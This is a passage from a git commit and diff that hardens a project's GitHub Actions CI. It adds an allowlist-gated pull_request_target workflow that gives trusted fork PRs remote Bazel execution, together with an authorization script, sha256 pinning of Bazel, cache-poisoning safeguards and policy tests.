and ready_for_review refused; - unanchored action (xopenedx); - base-repo prefix (gastownhall/beads-evil). This covers two mutations the reviewer found surviving. - Engdoc: the new checks, and the residual that stays the listed author's responsibility (commits pushed by fork collaborators). Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): match the farm allowlist on numeric user ids (F5) Logins are mutable: after a rename, anyone can register the old login, and before this change they would then be listed as both author and sender. - The allowlist now holds one numeric user id per line, with the login as a comment. The ids were looked up with gh api users/ --jq .id. - The authorize script matches PR_AUTHOR_ID and SENDER_ID (github.event.pull_request.user.id, github.event.sender.id). Logins are now used only in the log. An allowlist entry that is not a numeric id fails the job. - Tests pin the id-to-login table and the SENDER_ID env. Script cases: - a renamed login re-registered with a new id (author and sender); - id prefix, suffix and leading zero; - an id that appears only in a comment; - listed ids with unlisted logins; - a PR from another listed user's fork; - broken allowlists (a login entry, a signed id). Co-Authored-By: Claude Opus 5.5 (1M context) * docs(ci): farm re-run semantics and the add/remove-user procedure (F6) A re-run replays the original event. It checks out the same pinned head SHA, which is fine. It also reads the allowlist at the original base commit, so a user removed from the list still gets the RBE secrets when one of their old runs is re-run. Only users with write access can re-run. - Engdoc: how to add a user. - Engdoc: how to remove a user. Merge the removal, then cancel and delete their farm runs (a gh api query by head-repository owner id). For cause, rotate RBE_TLS_CERT/KEY and have the farm revoke the old certificate; rotating also closes the re-run window. - bazel-farm.yml header: points to the procedure. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): name the farm call "Bazel Farm", not "Bazel" (F7) The farm's check runs were named "Bazel / ", the same as pr.yml's. Farm results are PR-controlled: PR code runs setup-bazel and can make a lane exit 0. If a ruleset ever required a "Bazel / ..." check, a farm run could satisfy it. The farm's checks are now "Bazel Farm / ", and a test pins the name and requires it to differ from pr.yml's bazel job. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): run the farm authorize script in the C locale (F8) Bash bracket ranges and ${v,,} depend on the locale. In en_US.UTF-8, [0-9], [0-9a-f] and [A-Za-z] match some non-ASCII characters, and the Kelvin sign lowercases to "k". This is not exploitable (GitHub ids, logins and SHAs are ASCII, and the allowlist is maintainer-controlled), but the script now exports LC_ALL=C. The script tests now run under en_US.UTF-8 and add cases with non-ASCII digits in ids and a non-ASCII character in the SHA. Without the export, the SHA case fails, so the tests catch its removal. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): farm authorize script runs on bash 3.2 (macOS) ${v,,} is bash >= 4; macOS runners' /bin/bash is 3.2, so the script's tests failed there. Lowercase with tr under LC_ALL=C (ASCII only, as before). Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .github/actions/setup-bazel/action.yml | 47 +- .github/actions/setup-bazel/write-bazelrc.sh | 7 +- .github/bazel-farm-allowlist.txt | 16 + .github/scripts/bazel-farm-authorize.sh | 125 ++++ .github/workflows/bazel-farm.yml | 132 ++++ .github/workflows/bazel.yml | 143 +++- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 290 ++++++++ scripts/BUILD.bazel | 1 + scripts/bazel_farm_workflow_test.go | 680 +++++++++++++++++++ scripts/ci_workflow_test.go | 85 ++- 10 files changed, 1467 insertions(+), 59 deletions(-) create mode 100644 .github/bazel-farm-allowlist.txt create mode 100755 .github/scripts/bazel-farm-authorize.sh create mode 100644 .github/workflows/bazel-farm.yml create mode 100644 scripts/bazel_farm_workflow_test.go diff --git a/.github/actions/setup-bazel/action.yml b/.github/actions/setup-bazel/action.yml index 64e99b91f..2b8479655 100644 --- a/.github/actions/setup-bazel/action.yml +++ b/.github/actions/setup-bazel/action.yml @@ -1,7 +1,9 @@ name: setup-bazel description: > - Install a sha256-pinned Bazelisk (Bazel itself comes from .bazelversion), - restore the runner Bazel cache (--repository_cache and Bazelisk only), + Install a sha256-pinned Bazelisk, have it download the sha256-pinned Bazel + release .bazelversion names (never from the runner cache), restore the + runner Bazel cache (--repository_cache only, whose entries Bazel re-hashes + on use), and write a CI bazelrc outside the workspace. When the caller passes all of BAZEL_REMOTE_EXECUTOR, RBE_TLS_CERT and RBE_TLS_KEY in the step env, that rc enables --config=remote-exec for every bazel command; with none of them the @@ -23,15 +25,20 @@ runs: # Keyed on what determines its content; saved only by a push to main that # missed the exact key (see the caller's "Save Bazel runner cache" step). # A lock change restores the previous lock's entry, which still holds most - # of the downloads. + # of the downloads. It holds only the content-addressable repository cache, + # which Bazel checks against each download's sha256 on every hit; the + # unverified repo contents cache is off (write-bazelrc.sh) and the Bazel + # binary is not cached, so a poisoned entry (a cache written by an + # untrusted run) cannot change what executes. v3: v2 also held Bazelisk's + # download and the contents cache. - name: Restore Bazel runner cache id: restore uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ${{ runner.temp }}/bazel-ci-cache - key: bazel-repo-v2-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} + key: bazel-repo-v3-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} restore-keys: | - bazel-repo-v2-${{ runner.os }}- + bazel-repo-v3-${{ runner.os }}- - name: Install Bazelisk shell: bash @@ -48,7 +55,22 @@ runs: echo "${sha} $RUNNER_TEMP/bazelisk" | sha256sum -c - sudo install -m 755 "$RUNNER_TEMP/bazelisk" /usr/local/bin/bazelisk rm -f "$RUNNER_TEMP/bazelisk" - echo "BAZELISK_HOME=$RUNNER_TEMP/bazel-ci-cache/bazelisk" >> "$GITHUB_ENV" + # The Bazel release .bazelversion names, pinned like Bazelisk above + # (the release's bazel--linux-.sha256). Bazelisk verifies + # only fresh downloads, so its home is a fresh directory outside the + # runner cache: every job downloads and verifies Bazel. A .bazelversion + # bump adds its pair here (policy-tested). + bazel_version="$(tr -d '[:space:]' < .bazelversion)" + case "$bazel_version/$arch" in + 9.2.0/amd64) bazel_sha=7668a95db1250f12c40407251e4e203b4ec8bf39bc495d2f485b2d8c99048694 ;; + 9.2.0/arm64) bazel_sha=049dd21f40ad979db11c3ee68c96a42ce75f1185e69ac61ab20de1501427a410 ;; + *) echo "setup-bazel: no pinned sha256 for Bazel '$bazel_version' ($arch); add it from the release's .sha256 file" >&2; exit 1 ;; + esac + { + echo "BAZELISK_HOME=$RUNNER_TEMP/bazelisk-home" + echo "BAZELISK_VERIFY_SHA256=$bazel_sha" + echo "BAZEL_CI_BAZEL_SHA256=$bazel_sha" + } >> "$GITHUB_ENV" - name: Write CI bazelrc id: rc @@ -67,4 +89,17 @@ runs: printf '%s\n' '#!/usr/bin/env bash' "exec /usr/local/bin/bazelisk --bazelrc=\"$RC\" \"\$@\"" > "$RUNNER_TEMP/bazel-wrapper" sudo install -m 755 "$RUNNER_TEMP/bazel-wrapper" /usr/local/bin/bazel rm -f "$RUNNER_TEMP/bazel-wrapper" + # Downloads Bazel (Bazelisk checks BAZELISK_VERIFY_SHA256; the + # wrapper's --bazelrc would make --version an unknown startup + # option), then checks again: every Bazel binary in Bazelisk's home + # is the pinned release. /usr/local/bin/bazelisk --version + n=0 + while IFS= read -r -d '' bin; do + echo "${BAZEL_CI_BAZEL_SHA256} $bin" | sha256sum -c - >/dev/null + n=$((n + 1)) + done < <(find "$BAZELISK_HOME/downloads" -type f -path '*/bin/bazel' -print0) + if [ "$n" -eq 0 ]; then + echo "setup-bazel: no Bazel binary under $BAZELISK_HOME" >&2 + exit 1 + fi diff --git a/.github/actions/setup-bazel/write-bazelrc.sh b/.github/actions/setup-bazel/write-bazelrc.sh index b95ac113d..eeaec104c 100644 --- a/.github/actions/setup-bazel/write-bazelrc.sh +++ b/.github/actions/setup-bazel/write-bazelrc.sh @@ -2,7 +2,9 @@ # Write the CI bazelrc for .github/actions/setup-bazel. # # Always: --repository_cache under BAZEL_CI_CACHE_DIR (the directory the -# runner cache saves and restores). Never --disk_cache: remote runs have the +# runner cache saves and restores; Bazel checks every hit's sha256) and no +# repo contents cache (--repo_contents_cache=: its extracted repos would be +# restored from the runner cache unverified). Never --disk_cache: remote runs have the # remote cache, and a local run's disk cache (about 7 GB) would not fit next to # its output base on a hosted runner. # @@ -80,6 +82,9 @@ umask 077 { echo "# Generated by .github/actions/setup-bazel; not a workspace file." echo "common --repository_cache=$cache_dir/repo" + # The repo contents cache (default: under the repository cache, so in + # the runner cache) holds extracted repos Bazel never re-verifies; off. + echo "common --repo_contents_cache=" } >"$rc" # write_pem DEST VALUE: decode base64 (or accept raw PEM) and check it is PEM. diff --git a/.github/bazel-farm-allowlist.txt b/.github/bazel-farm-allowlist.txt new file mode 100644 index 000000000..e0bc51afe --- /dev/null +++ b/.github/bazel-farm-allowlist.txt @@ -0,0 +1,16 @@ +# GitHub users whose fork PRs get the Bazel remote-execution farm +# (.github/workflows/bazel-farm.yml). One numeric user id per line, the login +# as a comment; blank lines and # comments are ignored. Ids, not logins: a +# renamed account's old login can be registered by anyone. Look an id up +# with: gh api users/ --jq .id +# +# Read only from the base branch (the pull_request_target run's own commit), +# never from a PR: editing this file in a PR changes nothing until it merges. +# Both the PR author and the user who triggered the run (opener or pusher) +# must be listed, and the PR must come from the author's own fork. A listed +# user gets same-repo-PR-level trust: its PR code runs with the RBE client +# certificate. Same people as gascity's .github/blacksmith-allowlist.txt. +8082291 # julianknutsen +91582 # quad341 +36544495 # sjarmak +2568253 # csells diff --git a/.github/scripts/bazel-farm-authorize.sh b/.github/scripts/bazel-farm-authorize.sh new file mode 100755 index 000000000..2c9ff356a --- /dev/null +++ b/.github/scripts/bazel-farm-authorize.sh @@ -0,0 +1,125 @@ +#!/usr/bin/env bash +# bazel-farm.yml's authorize job: may this pull_request_target run hand a +# fork PR's head to bazel.yml with the RBE secrets? Runs from a checkout of +# the base branch (the run's own commit), never the PR; reads event facts +# from the environment only (the workflow never interpolates them into a +# script). Writes allowed=true|false to $GITHUB_OUTPUT and the reason to the +# log and step summary. Exits non-zero only on a broken invocation. +# +# Allowed only when all hold: +# EVENT_NAME is pull_request_target and ACTION is opened or synchronize +# (reopened and ready_for_review would re-test a head no listed user +# necessarily pushed: a fork collaborator's push while the PR was closed +# or a draft); +# BASE_REPO is REPOSITORY and HEAD_REPO is another repository (a fork); +# HEAD_OWNER_ID (the head repository owner's numeric id) is PR_AUTHOR_ID: +# the PR comes from the author's own fork, not from a third party's fork +# whose owner could push between the author's review and "Create"; +# BASE_REF is DEFAULT_BRANCH; +# HEAD_SHA is a full 40-hex commit id (what bazel.yml checks out); +# PR_AUTHOR_ID and SENDER_ID (numeric user ids) are both on ALLOWLIST. +# SENDER is who triggered this event: the pusher on synchronize, so a +# collaborator on a listed author's fork cannot push code that runs with +# secrets. Ids, not logins: a renamed account's old login can be +# registered by anyone. Logins (PR_AUTHOR, SENDER) are for the log only. +# +# ALLOWLIST: one numeric user id per line; # starts a comment (the login, +# for humans). Any other entry is a broken allowlist and fails the job. +# +# Inputs (environment): ALLOWLIST (file path), EVENT_NAME, ACTION, +# REPOSITORY, BASE_REPO, HEAD_REPO, HEAD_OWNER_ID, BASE_REF, DEFAULT_BRANCH, +# HEAD_SHA, PR_AUTHOR, PR_AUTHOR_ID, SENDER, SENDER_ID, GITHUB_OUTPUT; +# GITHUB_STEP_SUMMARY optional. + +set -euo pipefail +# Byte semantics for the [A-Za-z0-9] / [0-9] classes and lower(): in some +# UTF-8 locales they match or fold non-ASCII (e.g. the Kelvin sign to k). +export LC_ALL=C + +# ASCII lowercase. Not ${v,,}: that is bash >= 4, and macOS ships bash 3.2. +# shellcheck disable=SC2018,SC2019 # ASCII only, on purpose (logins, repo names) +lower() { + printf '%s' "${1:-}" | tr 'A-Z' 'a-z' +} + +: "${GITHUB_OUTPUT:?GITHUB_OUTPUT is not set}" +allowlist="${ALLOWLIST:?ALLOWLIST is not set}" +if [[ ! -f "$allowlist" ]]; then + echo "::error::allowlist $allowlist is missing" >&2 + exit 1 +fi + +decide() { + allowed=false + reason="$1" +} + +# A login: GitHub's charset, lowercased. Anything else never matches. +login() { + local v="${1:-}" + if [[ "$v" =~ ^[A-Za-z0-9]([A-Za-z0-9-]{0,38})$ ]]; then + lower "$v" + fi +} + +# A numeric GitHub user id; anything else is not one. +is_id() { + [[ "${1:-}" =~ ^[1-9][0-9]{0,19}$ ]] +} + +ids=() +while IFS= read -r line || [[ -n "$line" ]]; do + line="${line%%#*}" + line="${line//[[:space:]]/}" + [[ -n "$line" ]] || continue + if ! is_id "$line"; then + echo "::error::allowlist $allowlist has an entry that is not a numeric user id" >&2 + exit 1 + fi + ids+=("$line") +done < "$allowlist" + +listed() { + local want="${1:-}" id + is_id "$want" || return 1 + for id in "${ids[@]}"; do + if [[ "$id" == "$want" ]]; then + return 0 + fi + done + return 1 +} + +allowed=true +reason="author and sender are on the allowlist" +author="${PR_AUTHOR:-}" +sender="${SENDER:-}" +if [[ "${EVENT_NAME:-}" != pull_request_target ]]; then + decide "event is not pull_request_target" +elif ! [[ "${ACTION:-}" =~ ^(opened|synchronize)$ ]]; then + decide "action is not opened or synchronize" +elif [[ -z "${REPOSITORY:-}" || "${BASE_REPO:-}" != "$REPOSITORY" ]]; then + decide "PR base repository is not this repository" +elif [[ -z "${HEAD_REPO:-}" || "$(lower "$HEAD_REPO")" == "$(lower "${REPOSITORY:-}")" ]]; then + decide "PR head is not a fork (same-repo PRs use pr.yml's remote run)" +elif ! is_id "${HEAD_OWNER_ID:-}" || [[ "${HEAD_OWNER_ID}" != "${PR_AUTHOR_ID:-}" ]]; then + decide "PR head is not the author's own fork" +elif [[ -z "${DEFAULT_BRANCH:-}" || "${BASE_REF:-}" != "$DEFAULT_BRANCH" ]]; then + decide "PR does not target the default branch" +elif ! [[ "${HEAD_SHA:-}" =~ ^[0-9a-f]{40}$ ]]; then + decide "head SHA is not a full commit id" +elif ! listed "${PR_AUTHOR_ID:-}"; then + decide "PR author is not on the allowlist" +elif ! listed "${SENDER_ID:-}"; then + decide "the user who triggered this run is not on the allowlist" +fi + +# Logins are printed only after the charset check (log-injection safe). +shown_author="$(login "$author")" +shown_sender="$(login "$sender")" +echo "allowed=$allowed" >> "$GITHUB_OUTPUT" +msg="Bazel farm: allowed=$allowed ($reason; author ${shown_author:-}, sender ${shown_sender:-})" +echo "$msg" +if [[ -n "${GITHUB_STEP_SUMMARY:-}" ]]; then + echo "$msg" >> "$GITHUB_STEP_SUMMARY" +fi diff --git a/.github/workflows/bazel-farm.yml b/.github/workflows/bazel-farm.yml new file mode 100644 index 000000000..82d423c65 --- /dev/null +++ b/.github/workflows/bazel-farm.yml @@ -0,0 +1,132 @@ +# Bazel lanes on the remote-execution farm for fork PRs by trusted authors. +# +# Fork PRs get no Actions secrets, so pr.yml's Bazel call runs them locally +# (no remote-only lanes). This workflow gives the farm to fork PRs whose +# author AND triggering user are on .github/bazel-farm-allowlist.txt (by +# numeric user id), by calling bazel.yml from pull_request_target, which has +# the secrets. +# +# ADVISORY. pr.yml is unchanged: every fork PR, listed or not, still runs the +# local Bazel lanes inside the enforced `CI Gate / Required`. This run adds a +# fast remote signal, including the remote-only embedded, proxied-server and +# server-storage tiers, that no required check and no privileged workflow +# reads. Making it authoritative needs a trusted reporter; see +# engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "Trusted-author fork PRs". +# +# SECURITY MODEL (policy-tested in scripts/ci_workflow_test.go, +# TestBazelFarmWorkflowSecurity; threat model in the engdoc): +# - pull_request_target runs THIS file, and bazel.yml (`uses: ./`, resolved +# from the same commit), from the base branch: a PR cannot edit either +# for its own run. +# - authorize runs no PR code: a sparse checkout of the run's own base +# commit (github.sha) holding only the allowlist and the decision script, +# no token on disk, no secrets, and event facts passed through env, never +# interpolated into a script. It requires the PR author and the sender +# (the pusher on synchronize) to be listed, so a collaborator on a listed +# author's fork, or someone opening a PR from that fork, gets nothing, and +# the head repository's owner to be the author (no PR from a third +# party's fork). +# - farm hands bazel.yml exactly the four RBE secrets and the event's head +# SHA, which every lane checks out pinned (a later push is a new event, +# judged on its own sender), without persisted credentials. The token is +# contents: read everywhere, so PR code holds no write access. +# - Accepted: a listed author's PR code runs with the RBE client +# certificate, as a same-repo PR's does. +# - Caches: this run is in the default branch's cache scope. GitHub's cache +# is read-only for pull_request_target, and nothing here may declare a +# cache-mode other than read or none (policy-tested). Whether Blacksmith's +# colocated cache enforces that is unverified. Either way, trusted runs +# verify what they restore: the Bazel binary is never cached, the +# repository cache is content-addressed, the repo contents cache is off, +# and go mod verify runs after the module cache restore (see the engdoc). +# - No artifact from this run is consumed: bazel-autofix.yml reads only +# "PR" runs of pull_request events, and bazel.yml skips its sync-patch +# upload here. +# +# Re-runs replay the original event: the same pinned head SHA, and the +# allowlist at the original base commit. De-listing a user therefore also +# means cancelling/deleting their old farm runs, or rotating the RBE +# certificate (engdoc: "Re-runs, Adding and Removing a User"). +# +# Workflow edits take effect only once merged to the default branch. +name: Bazel Farm (trusted forks) + +on: + pull_request_target: + # Not reopened or ready_for_review: they re-test a head no listed user + # necessarily pushed (see the script). + types: [ opened, synchronize ] + branches: [ main ] + +# One run per PR; a newer event supersedes (its sender is judged afresh). +# Differs from bazel.yml's group (bazel-pull_request_target-). +concurrency: + group: bazel-farm-${{ github.event.pull_request.number }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + authorize: + name: authorize + runs-on: ubuntu-latest + timeout-minutes: 5 + # Cheap prefilter; the script re-checks these and decides on the list. + if: >- + github.event.pull_request.base.repo.full_name == github.repository && + github.event.pull_request.head.repo.full_name != github.repository + permissions: + contents: read + outputs: + allowed: ${{ steps.decide.outputs.allowed }} + steps: + # The base commit this run's workflow file came from; never the PR. + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ github.sha }} + persist-credentials: false + sparse-checkout: | + .github/bazel-farm-allowlist.txt + .github/scripts/bazel-farm-authorize.sh + sparse-checkout-cone-mode: false + + - name: Check author and sender against the allowlist + id: decide + env: + ALLOWLIST: .github/bazel-farm-allowlist.txt + EVENT_NAME: ${{ github.event_name }} + ACTION: ${{ github.event.action }} + REPOSITORY: ${{ github.repository }} + BASE_REPO: ${{ github.event.pull_request.base.repo.full_name }} + HEAD_REPO: ${{ github.event.pull_request.head.repo.full_name }} + HEAD_OWNER_ID: ${{ github.event.pull_request.head.repo.owner.id }} + BASE_REF: ${{ github.event.pull_request.base.ref }} + DEFAULT_BRANCH: ${{ github.event.repository.default_branch }} + HEAD_SHA: ${{ github.event.pull_request.head.sha }} + PR_AUTHOR: ${{ github.event.pull_request.user.login }} + PR_AUTHOR_ID: ${{ github.event.pull_request.user.id }} + SENDER: ${{ github.event.sender.login }} + SENDER_ID: ${{ github.event.sender.id }} + run: bash .github/scripts/bazel-farm-authorize.sh + + # Not "Bazel": pr.yml's call is named that, and this run's lane results are + # PR-controlled, so its check names ("Bazel Farm / ") must never + # collide with ones a ruleset might require. + farm: + name: Bazel Farm + needs: authorize + if: ${{ needs.authorize.outputs.allowed == 'true' }} + permissions: + contents: read + uses: ./.github/workflows/bazel.yml + secrets: + RBE_WEST_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR }} + RBE_TLS_CERT: ${{ secrets.RBE_TLS_CERT }} + RBE_TLS_KEY: ${{ secrets.RBE_TLS_KEY }} + RBE_TLS_CA: ${{ secrets.RBE_TLS_CA }} + with: + checkout-sha: ${{ github.event.pull_request.head.sha }} + fork-farm: authorized + integration: "off" + build-artifact-name: bazel-farm-build-artifacts diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 44e3852bd..c26cb1967 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -24,8 +24,9 @@ # Execution mode, decided once by the rbe job (every other job needs it and # reads its outputs; none re-derives the condition) and passed to # .github/actions/setup-bazel: -# remote: repo variable RBE_WEST_WORKERS=true, rbe not off, not a fork PR, -# and the secret RBE_WEST_EXECUTOR (grpcs:// endpoint) present, plus +# remote: repo variable RBE_WEST_WORKERS=true, rbe not off, not a fork PR +# (or a fork PR bazel-farm.yml authorized, below), and the secret +# RBE_WEST_EXECUTOR (grpcs:// endpoint) present, plus # RBE_TLS_CERT, RBE_TLS_KEY (base64; RBE_TLS_CA optional): remote # execution on rbe-west, instance "oss" (shared with gascity), from the # Blacksmith runner. @@ -34,7 +35,16 @@ # execution on ubuntu-latest, slower but the same results, for every job # but the remote-only ones (bazel-embedded, bazel-integration, # bazel-proxied, bazel-server-storage), which are skipped. -# skip: same-repo runs while RBE_WEST_WORKERS is unset (the farm switch). +# skip: same-repo runs while RBE_WEST_WORKERS is unset (the farm switch), +# and authorized fork-farm runs without it or without the secret. +# Trusted-author fork PRs: bazel-farm.yml (pull_request_target, advisory) +# calls this workflow for fork PRs whose author and triggering user are on +# the base branch's .github/bazel-farm-allowlist.txt, with fork-farm: +# authorized and checkout-sha: the event's pinned head SHA. Only that +# combination, on a pull_request_target event, lets a fork run remotely; a +# fork's pull_request run (pr.yml, which the fork may edit) stays local +# whatever it passes, and has no secrets anyway. See +# engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "Trusted-author fork PRs". # workflow_dispatch with rbe=off simulates a fork run. The decision is also a # workflow_call output (rbe-mode, rbe-enabled), so pr.yml's gate can tell an # expected skip from a missing lane without re-deriving it. Callers pass @@ -46,10 +56,12 @@ # by every later step and by locally executed Bazel actions, and a .bazelrc # edit can point the BEP or the executor anywhere. Anyone who can push a # branch here can therefore use or copy the certificate and write to the -# farm's cache. Fork PRs never get it: pull_request from a fork receives no -# secrets, neither this workflow nor its callers have a pull_request_target -# trigger, and forks cannot write the runner cache. Nor do Dependabot PRs, which run as same-repo but -# get no Actions secrets. In place: secrets are referenced by the setup step +# farm's cache. Fork PRs never get it, except those bazel-farm.yml +# authorizes (allowlisted author and sender, accepted as same-repo-level +# trust; that workflow's header lists what it adds): pull_request from a +# fork receives no secrets, bazel-farm.yml is the only pull_request_target +# caller (policy-tested), and forks cannot write the runner cache. Nor do +# Dependabot PRs, which run as same-repo but get no Actions secrets. In place: secrets are referenced by the setup step # alone (plus the rbe job's emptiness test of RBE_WEST_EXECUTOR, which yields # a boolean) and never by a workflow- or job-level env (policy-tested), decoded key # material is masked in logs, and CI uploads only remotely executed results @@ -64,7 +76,8 @@ # job's ci-build-artifacts. # # Runner cache: one entry per (.bazelversion, MODULE.bazel.lock) pair, about -# 2 GB (Bazel's --repository_cache plus Bazelisk's Bazel download), written +# 2 GB (Bazel's content-addressable --repository_cache, re-hashed on every +# hit; never the Bazel binary or the repo contents cache), written # only by a push to main that missed it. No --disk_cache: remote runs use the # remote cache, and local runs would need about 7 GB more. # @@ -130,6 +143,24 @@ on: type: string required: false default: "ci-build-artifacts" + # Set only by bazel-farm.yml (policy-tested): the fork PR's head SHA + # from its pull_request_target event, pinned, and "authorized" once + # that workflow's authorize job has checked the base branch's + # allowlist. See the header. + checkout-sha: + description: > + Commit every lane checks out (bazel-farm.yml: the trusted fork PR's + head SHA); empty checks out the event's default ref. + type: string + required: false + default: "" + fork-farm: + description: > + "authorized" (bazel-farm.yml only) lets a pull_request_target fork + run execute remotely; anything else keeps forks local. + type: string + required: false + default: "off" # Only what the rbe job and setup-bazel need; callers pass them # explicitly. None is required: fork and Dependabot runs have none. secrets: @@ -174,11 +205,12 @@ on: value: ${{ jobs.bazel-server-storage.outputs.result }} # Main runs always finish (they may save the runner cache); PR runs (called -# from pr.yml, whose own group cancels the calling run too) supersede. The -# group differs from pr.yml's, as a called workflow's must. +# from pr.yml or bazel-farm.yml, whose own groups cancel the calling run too) +# supersede. The group differs from each caller's, as a called workflow's +# must. concurrency: group: bazel-${{ github.event_name }}-${{ github.event.pull_request.number || github.ref }} - cancel-in-progress: ${{ github.event_name == 'pull_request' }} + cancel-in-progress: ${{ github.event_name == 'pull_request' || github.event_name == 'pull_request_target' }} permissions: contents: read @@ -211,20 +243,26 @@ jobs: RBE_VAR_ON: ${{ vars.RBE_WEST_WORKERS == 'true' }} RBE_INPUT_OFF: ${{ inputs.rbe == 'off' }} FORK: ${{ github.event.pull_request.head.repo.fork == true }} + FORK_FARM: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' && inputs.checkout-sha != '' }} HAS_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR != '' }} run: | - for v in RBE_VAR_ON RBE_INPUT_OFF FORK HAS_EXECUTOR; do + for v in RBE_VAR_ON RBE_INPUT_OFF FORK FORK_FARM HAS_EXECUTOR; do case "${!v}" in true|false) ;; *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; esac done - if [ "$RBE_INPUT_OFF" = true ] || [ "$FORK" = true ]; then + # A fork runs locally unless bazel-farm.yml authorized it; an + # authorized fork run is remote or nothing (pr.yml's call already + # runs it locally). + if [ "$RBE_INPUT_OFF" = true ] || { [ "$FORK" = true ] && [ "$FORK_FARM" != true ]; }; then mode=local elif [ "$RBE_VAR_ON" != true ]; then mode=skip elif [ "$HAS_EXECUTOR" = true ]; then mode=remote + elif [ "$FORK_FARM" = true ]; then + mode=skip else mode=local fi @@ -232,7 +270,7 @@ jobs: if [ "$mode" = remote ]; then enabled=true; fi echo "mode=$mode" >> "$GITHUB_OUTPUT" echo "enabled=$enabled" >> "$GITHUB_OUTPUT" - echo "Bazel execution mode: **$mode** (RBE_WEST_WORKERS on: $RBE_VAR_ON, rbe=off: $RBE_INPUT_OFF, fork: $FORK, executor secret: $HAS_EXECUTOR)" | tee -a "$GITHUB_STEP_SUMMARY" + echo "Bazel execution mode: **$mode** (RBE_WEST_WORKERS on: $RBE_VAR_ON, rbe=off: $RBE_INPUT_OFF, fork: $FORK, fork farm: $FORK_FARM, executor secret: $HAS_EXECUTOR)" | tee -a "$GITHUB_STEP_SUMMARY" bazel-test: name: test @@ -251,7 +289,14 @@ jobs: outputs: result: ${{ steps.result.outputs.result }} steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + # inputs.checkout-sha: see the header (empty: the event's default ref). + # checkout v7 refuses a fork head on pull_request_target unless opted + # in; only bazel-farm.yml's authorized call opts in (false elsewhere). + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ inputs.checkout-sha }} + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} # Go is for tools/bazel/equivalence.py's `go list` and for make; Bazel # uses its own hermetic SDK. @@ -270,6 +315,11 @@ jobs: key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- + # Go does not re-hash extracted module directories on use; a restored + # cache written by an untrusted run is checked against go.sum first. + - name: Verify restored Go modules + run: go mod verify + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -406,8 +456,11 @@ jobs: exit "$check" # Data only: bazel-autofix.yml validates every path before applying it. + # Not from bazel-farm.yml's pull_request_target runs: autofix reads only + # "PR" runs, and a trusted-fork run publishes nothing meant for a + # privileged consumer. - name: Upload BUILD sync patch - if: ${{ always() && steps.sync.outcome == 'failure' }} + if: ${{ always() && steps.sync.outcome == 'failure' && github.event_name != 'pull_request_target' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 with: name: bazel-sync-patch @@ -427,7 +480,7 @@ jobs: retention-days: 7 # Only a push to main that missed the exact key writes the runner cache. - # Its content (--repository_cache and Bazelisk's download, never the rc + # Its content (--repository_cache only, never the rc # or credentials) is fixed by .bazelversion and MODULE.bazel.lock, so one # entry per lock is enough and later pushes do not churn the quota. - name: Save Bazel runner cache @@ -435,7 +488,7 @@ jobs: uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ${{ runner.temp }}/bazel-ci-cache - key: bazel-repo-v2-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} + key: bazel-repo-v3-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} # Last step: the job's result as a workflow_call output for pr.yml's # ci-gate. always() runs it after a failure, a timeout or a @@ -466,7 +519,14 @@ jobs: env: PURE_CMD_BD_TESTS: '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + # inputs.checkout-sha: see the header (empty: the event's default ref). + # checkout v7 refuses a fork head on pull_request_target unless opted + # in; only bazel-farm.yml's authorized call opts in (false elsewhere). + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ inputs.checkout-sha }} + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} # Only for go_js_wasm_exec and wasm_exec_node.js, which must match the # Go version Bazel compiles with (go.mod's; policy-tested). @@ -605,7 +665,14 @@ jobs: outputs: result: ${{ steps.result.outputs.result }} steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + # inputs.checkout-sha: see the header (empty: the event's 